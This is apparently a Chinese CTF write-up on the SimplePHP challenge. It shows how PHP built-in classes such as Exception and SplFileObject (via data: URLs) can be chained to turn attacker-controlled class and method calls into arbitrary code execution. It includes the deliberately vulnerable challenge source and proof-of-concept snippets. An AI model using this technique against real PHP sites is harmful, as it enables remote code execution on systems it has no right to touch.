php反序列化原生类
记录一下在ctf当中遇到的有关php反序列化原生类的利用
预定义异常类:例如Exception类__toString
2021第二届全国电信和互联网行业职业技能竞赛-SimplePHP
源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| <?php error_reporting(0); show_source(__FILE__); Class Hello{ public $filename; public $contents; public function __construct(){ $this->filename = "hint.php"; $this->contents = "you guess"; } public function fileread(){ echo "keep going"; } } $a = $_GET["a"]; $b = $_GET["b"]; $c = $_GET["c"]; $d = $_GET["d"]; $e = $_GET["e"]; $f = $_GET["f"]; $g = $_GET["g"]; $class = new $a($b); $str1 = substr($class->$c(),$d,$e); $str2 = substr($class->$c(),$f,$g); $str1($str2);
|
阅读源码可以看到$str1($str2);
的位置有可能存在任意代码执行,而$a、$b、$c
可控存在任意方法调用,这里可以利用php的内置类Exception
的__toString
方法来触发任意代码执行
本地测试demo代码:
1 2 3
| <?php $class=new Exception("test string"); echo $class->__toString();
|
输出:
1
| exception 'Exception' with message 'test string' in C:\phpstudy_pro\WWW\222.php:2 Stack trace:
|
所以可以通过new Exception("xxx");
实例化一个Exception
类,这样$str1
和$str2
都变为我们可控的了
任意代码执行payload,执行phpinfo
:
1 2 3 4
| <?php $class=new Exception("phpinfo1"); echo substr($class->__toString(),36,7); echo substr($class->__toString(),43,1);
|
输出:
所以可以构造paylaod执行phpinfo:

读取flag:

拓展
官方手册-预定义异常类列表:
https://www.php.net/manual/zh/reserved.exceptions.php

1 2 3 4 5 6 7 8 9 10
| Exception ErrorException Error ArgumentCountError ArithmeticError AssertionError DivisionByZeroError CompileError ParseError TypeError
|
这些异常类的__toString
和getMessage
都是可以利用的
SplFileObject类fgets
在p牛小密圈看一个师傅提出的方法
官方文档描述:
SplFileObject
类为文件提供了一个面向对象接口.
简单理解就是读文件,可以理解为fopen
面向对象的接口
1 2 3 4
| <?php $file=new SplFileObject('C://Windows/win.ini'); echo $file->fgets(); ?>
|
输出:
1
| ; for 16-bit app support
|
读取了文件的第一行
SplFileObject
类__construct
的第一个参数filename支持URL,前提是需要开启allow_url_fopen
https://www.php.net/manual/zh/splfileobject.construct.php

支持的协议和封装协议

引用p牛的话:data:,后的字符串会被当作文件内容读取到
1 2 3 4 5
| <?php $file=new SplFileObject('data:,hello'); echo $file->fgets(); ?>
|
输出:
所以可以构造
1 2 3 4 5
| <?php $file=new SplFileObject("data:,phpinfo\r\n1"); echo substr($file->fgets(),0,7); echo substr($file->fgets(),0,1); ?>
|
输出:
payload:
